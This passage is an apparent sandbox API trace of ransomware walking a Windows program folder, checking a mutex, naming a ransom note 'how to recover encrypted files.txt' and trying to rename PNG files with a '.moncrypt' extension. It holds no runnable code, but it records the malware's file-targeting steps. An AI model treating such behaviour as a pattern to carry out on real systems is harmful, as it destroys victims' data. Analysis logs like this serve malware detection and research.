(pMem=0x557b78) returned 0x44000c [0058.697] GlobalUnlock (hMem=0x44000c) returned 0 [0058.697] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0058.698] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.698] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x701d, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0058.698] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0058.698] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.698] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.698] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.698] GlobalUnlock (hMem=0x44000c) returned 0 [0058.698] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.698] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.698] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.698] GlobalUnlock (hMem=0x44000c) returned 0 [0058.698] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.698] GlobalUnlock (hMem=0x440004) returned 0 [0058.698] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.698] CharLowerBuffW (in: lpsz="16_9-frame-background.png", cchLength=0x19 | out: lpsz="16_9-frame-background.png") returned 0x19 [0058.698] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.698] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.698] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.698] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.698] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.698] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.698] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.699] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.699] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Travel\\16_9-frame-background.pngp", lpUsedDefaultChar=0x0) returned 4 [0058.699] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0058.699] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0058.700] CloseHandle (hObject=0x18c) returned 1 [0058.701] DeleteFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\я")) returned 1 [0058.701] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x701d, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 0x54e280 [0058.702] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.702] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.702] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.702] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png", dwFileAttributes=0x20) returned 0 [0058.709] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.709] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png.moncrypt")) returned 0 [0058.709] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0058.709] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.709] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.709] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.709] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.709] GlobalUnlock (hMem=0x440004) returned 0 [0058.709] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.709] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.709] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.709] GlobalUnlock (hMem=0x440004) returned 0 [0058.709] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.709] GlobalUnlock (hMem=0x44000c) returned 0 [0058.709] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.710] CharLowerBuffW (in: lpsz="16_9-frame-highlight.png", cchLength=0x18 | out: lpsz="16_9-frame-highlight.png") returned 0x18 [0058.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.710] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png", lpUsedDefaultChar=0x0) returned 75 [0058.711] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.711] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Travel\\16_9-frame-highlight.png", lpUsedDefaultChar=0x0) returned 4 [0058.711] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 0x54e280 [0058.711] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.711] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.711] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.711] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png", dwFileAttributes=0x20) returned 0 [0058.711] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.712] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png.moncrypt")) returned 0 [0058.712] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72669a5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72669a5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553c313d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc57, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-inset.png", cAlternateFileName="")) returned 1 [0058.712] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.712] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.712] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.712] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.712] GlobalUnlock (hMem=0x44000c) returned 0 [0058.712] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.712] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.712] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.712] GlobalUnlock (hMem=0x44000c) returned 0 [0058.712] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.712] GlobalUnlock (hMem=0x440004) returned 0 [0058.712] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.712] CharLowerBuffW (in: lpsz="16_9-frame-image-inset.png", cchLength=0x1a | out: lpsz="16_9-frame-image-inset.png") returned 0x1a [0058.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, 